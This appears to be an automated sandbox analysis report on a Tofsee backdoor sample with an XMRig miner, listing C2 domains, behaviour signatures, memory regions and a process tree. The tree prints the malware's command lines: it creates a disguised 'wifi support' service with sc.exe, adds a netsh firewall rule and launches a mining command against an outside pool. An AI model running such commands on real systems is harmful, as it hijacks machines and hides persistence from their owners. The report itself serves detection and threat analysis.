Analysis

  • max time kernel
    144s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    26/12/2022, 04:25

General

  • Target
    file.exe
  • Size 231KB
  • Sample221226-e1yg1sff3v
  • SHA256 00fa0716b36a8069619bf47668fa493300a7081c4384b2d5f925455da2ec54d2
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1372
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dvrebxpb\
      2⤵
        PID:1644
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iluffbby.exe" C:\Windows\SysWOW64\dvrebxpb\
        2⤵
          PID:2004
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dvrebxpb binPath= "C:\Windows\SysWOW64\dvrebxpb\iluffbby.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1976
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dvrebxpb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1980
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dvrebxpb
          2⤵
          • Launches sc.exe
          PID:1020
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:516
      • C:\Windows\SysWOW64\dvrebxpb\iluffbby.exe
        C:\Windows\SysWOW64\dvrebxpb\iluffbby.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:888
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1124
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1892

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            iluffbby.exe

            • Path C:\Users\Admin\AppData\Local\Temp\iluffbby.exe
            • Size 13.6MB
            • SHA256 fdf56e7e48d72411a8a3f8f9ee8975f96d94e94dc38f21745a2a167105cf2ecc
            • MD5 SHA1 SHA512 SSDEEP

            iluffbby.exe

            • Path C:\Windows\SysWOW64\dvrebxpb\iluffbby.exe
            • Size 13.6MB
            • SHA256 fdf56e7e48d72411a8a3f8f9ee8975f96d94e94dc38f21745a2a167105cf2ecc
            • MD5 SHA1 SHA512 SSDEEP

            memory/888-75-0x0000000000400000-0x000000000045E000-memory.dmp

            memory/888-73-0x000000000062B000-0x000000000063B000-memory.dmp

            memory/1124-85-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/1124-78-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1124-97-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1124-94-0x00000000003E0000-0x00000000003E7000-memory.dmp

            memory/1124-91-0x00000000058D0000-0x0000000005CDB000-memory.dmp

            memory/1124-88-0x00000000003D0000-0x00000000003D5000-memory.dmp

            memory/1124-82-0x0000000000210000-0x0000000000216000-memory.dmp

            memory/1124-69-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1124-71-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1124-79-0x00000000018F0000-0x0000000001AFF000-memory.dmp

            memory/1372-59-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1372-54-0x0000000075921000-0x0000000075923000-memory.dmp

            memory/1372-66-0x0000000000400000-0x000000000045E000-memory.dmp

            memory/1372-60-0x0000000000400000-0x000000000045E000-memory.dmp

            memory/1372-58-0x000000000055B000-0x000000000056B000-memory.dmp

            memory/1892-98-0x0000000000080000-0x0000000000171000-memory.dmp

            memory/1892-100-0x0000000000080000-0x0000000000171000-memory.dmp